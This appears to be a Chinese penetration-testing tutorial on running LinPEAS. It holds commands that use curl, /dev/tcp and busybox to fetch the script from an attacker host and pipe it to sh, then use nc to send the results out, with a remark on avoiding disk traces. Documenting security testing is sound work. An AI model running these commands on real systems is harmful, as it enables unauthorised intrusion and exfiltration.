在渗透测试和权限提升评估中,LinPEAS(Linux Privilege Escalation Awesome Script)是⼀个⽤来搜索类unix主机上可能的提权路径的⾃动化脚本。本文将介绍使用 LinPEAS 的最佳实践方案,并针对不同环境(如无 curl 的情况)提供替代方案。
一、最佳实现方案
在受控测试环境中,我们可以使用 curl 下载 LinPEAS 并直接执行,同时将扫描结果回传至攻击机进行分析。这种方式的主要优点是快速、高效,并且由于通过数据流直接传输,减少了磁盘痕迹。
1. 远程主机准备工作
在攻击机(假设 IP 为 192.168.56.100)上,我们需要:
- 运行一个 HTTP 服务器以提供 LinPEAS
- 监听端口接收 LinPEAS 的扫描结果
步骤 1:开启 HTTP 服务器(提供 LinPEAS)
python -m http.server 80
或者使用 busybox:
busybox httpd -f -p 80
步骤 2:开启 Netcat 监听端口 81,接收 LinPEAS 输出
nc -lnvp 81 | tee linpeas.out
2. 目标主机执行 LinPEAS
目标机上使用 curl 下载并执行 LinPEAS,同时将输出通过 nc 发送回攻击机:
curl -s 192.168.56.100/linpeas.sh | sh | nc 192.168.56.100 81
说明
curl -s 192.168.56.100/linpeas.sh:静默下载| sh:通过管道立即传递给 sh 解释执行| nc 192.168.56.100 81:将结果传输回攻击机
3. 远程主机查看结果
在攻击机上,可以使用 less 解析 linpeas.out 文件:
less -r linpeas.out
其中 -r ( --raw-control-chars ) 选项可以正确显示颜色格式,以便更清晰地查看 LinPEAS 结果。
二、无 curl 解决方案
在某些受限环境中,目标机可能没有 curl 或者 wget,此时可以使用以下替代方案。
方法 1:使用 /dev/tcp 直接获取 LinPEAS
如果 bash 版本支持 /dev/tcp,可以使用:
cat < /dev/tcp/192.168.56.100/80 | sh
说明
/dev/tcp/192.168.56.100/80是 bash 内置的功能,直接与远程 HTTP 服务器通信cat读取 LinPEAS 并传递给sh执行
方法 2:使用 scp 传输 busybox
如果目标机没有 curl,可以通过 scp 传输 busybox,然后利用 busybox 提供 wget 或 nc:
scp busybox 目标机:/tmp/
ssh 目标机
cd /tmp/
chmod +x busybox
./busybox wget http://192.168.56.100/linpeas.sh
sh linpeas.sh | nc 192.168.56.100 81
说明
busybox是一个精简的 Unix 工具集合,包含wget、nc等工具- 目标机下载
linpeas.sh后手动执行并传输结果
三、总结
| 方法 | 适用场景 | 依赖项 | 备注 |
|---|---|---|---|
curl 方式 | 目标机有 curl | curl, nc | 推荐方案,简单高效 |
/dev/tcp 方式 | 目标机无 curl,但 bash 支持 /dev/tcp | bash | 适用于受限环境 |
scp + busybox | 目标机无 curl,但有 scp | scp, busybox | 需要先传输 busybox |
在渗透测试过程中,根据目标环境的实际情况选择合适的方法,可以更高效地执行 LinPEAS 进行权限提升评估。







![[操作系统] 学校课程关于“静态优先级抢占式调度“作业](https://i-blog.csdnimg.cn/direct/d581fc77a7cd4facaf6b320a97f7cb2b.png)










